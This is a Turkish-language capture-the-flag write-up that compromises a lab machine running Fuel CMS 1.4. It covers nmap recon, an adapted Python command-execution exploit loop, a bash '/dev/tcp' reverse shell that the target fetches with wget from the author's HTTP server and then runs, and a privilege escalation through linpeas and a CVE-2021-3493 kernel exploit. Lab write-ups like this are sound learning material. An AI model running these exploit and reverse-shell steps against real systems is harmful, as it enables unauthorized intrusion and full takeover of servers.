Keşif (Recon)
Makineye bağlandıktan sonra detaylı bir nmap taraması yaparak açık servisleri tespit ettim:
nmap -sS -sV -sC -T5 10.112.128.121
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Welcome to FUEL CMS
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-robots.txt: 1 disallowed entry
|_/fuel/
Sadece 80 portu açıktı. Tarayıcıdan siteye girdiğimde karşımda Fuel CMS çıktı.
Web Uygulaması Zafiyeti (Fuel CMS Exploit)
Fuel CMS 1.4 için Kali'nin yerel searchsploit veritabanında bir exploit
olduğunu fark ettim. İncelediğimde exploitin Python 2 için yazıldığını gördüm.
Çevirmeyi düşündüm ama hedef makine zaten Python 2 çalıştırıyordu; yine de
çalıştırırken bağlantı (proxy) ayarlarından kaynaklanan hatalar aldım ve
Python bilgimi kullanarak scripti düzelttim:
import requests
import urllib.request, urllib.parse, urllib.error
url = str(input("Target İP: "))
def find_nth_overlapping(haystack, needle, n):
start = haystack.find(needle)
while start >= 0 and n > 1:
start = haystack.find(needle, start+1)
n -= 1
return start
while 1:
xxxx = input('cmd:')
burp0_url = url+"/fuel/pages/select/?filter=..."+urllib.parse.quote(xxxx)+"..."
r = requests.get(burp0_url, proxies=None) # proxy kaldırıldı
html = "<!DOCTYPE html>"
htmlcharset = r.text.find(html)
begin = r.text[0:20]
dup = find_nth_overlapping(r.text, begin, 2)
print(r.text[0:dup])
Script çalışınca hedef adresi girerek karşıya bağlantı sağladım ve komut çalıştırma imkânı elde ettim.
Reverse Shell Elde Etme
Bash, PHP ve Python reverse shell komutlarının birkaç varyasyonunu denedim ama
hiçbiri çalışmadı. Bunun yerine reverse shell komutunu bir .sh
dosyasına yazıp kendi makinemde bir Python HTTP sunucusu açtım, dosyayı hedefe
çektirip orada çalıştırdım:
# shell.sh içeriği
bash -i >& /dev/tcp/<ip_adresim>/<port> 0>&1
# kendi makinemde
python3 -m http.server 4545
# hedef makinede
wget http://<ip_adresim>:<port>/shell.sh
bash shell.sh
Erişim sağlandıktan sonra /home dizininden ilk flag'i (user.txt) buldum.
Yetki Yükseltme (Privilege Escalation)
linpeas.sh aracını GitHub üzerinden indirip hedefe aktardım ve
çalıştırdım. Çıktıda birden fazla kernel CVE adayı listelenmişti:
- CVE-2019-15666 (XFRM_UAF) —
CONFIG_USER_NSveCONFIG_XFRMaktif olmalı - CVE-2021-3493 (Ubuntu OverlayFS) — sadece Ubuntu'yu etkiliyor
- CVE-2021-22555 (Netfilter heap out-of-bounds write) —
ip_tablesmodülü yüklü olmalı - CVE-2022-32250 (nft_object UAF) —
kernel.unprivileged_userns_clone=1gerekiyor
Listedeki CVE'lere ait exploitleri sırayla denedim ve CVE-2021-3493 için çalışan bir exploit buldum. Kaynak kodunu derleyip çalıştırdım:
gcc exploit.c -o exploit
./exploit
id ve whoami ile yetkimi doğruladım, /root dizininden son flag'i alıp makineyi tamamladım.
Sonuç ve Öğrendiklerim
Bu makine bana özellikle şunu gösterdi: internette bulunan public exploitler genelde "olduğu gibi" çalışmıyor, ufak uyarlamalar gerektiriyor — ve tam bu noktada Python bilgim gerçekten işime yaradı. Ayrıca birden fazla privilege escalation adayını sistematik şekilde deneyip elemek, sabır ve düzenli çalışmanın önemini bir kez daha gösterdi.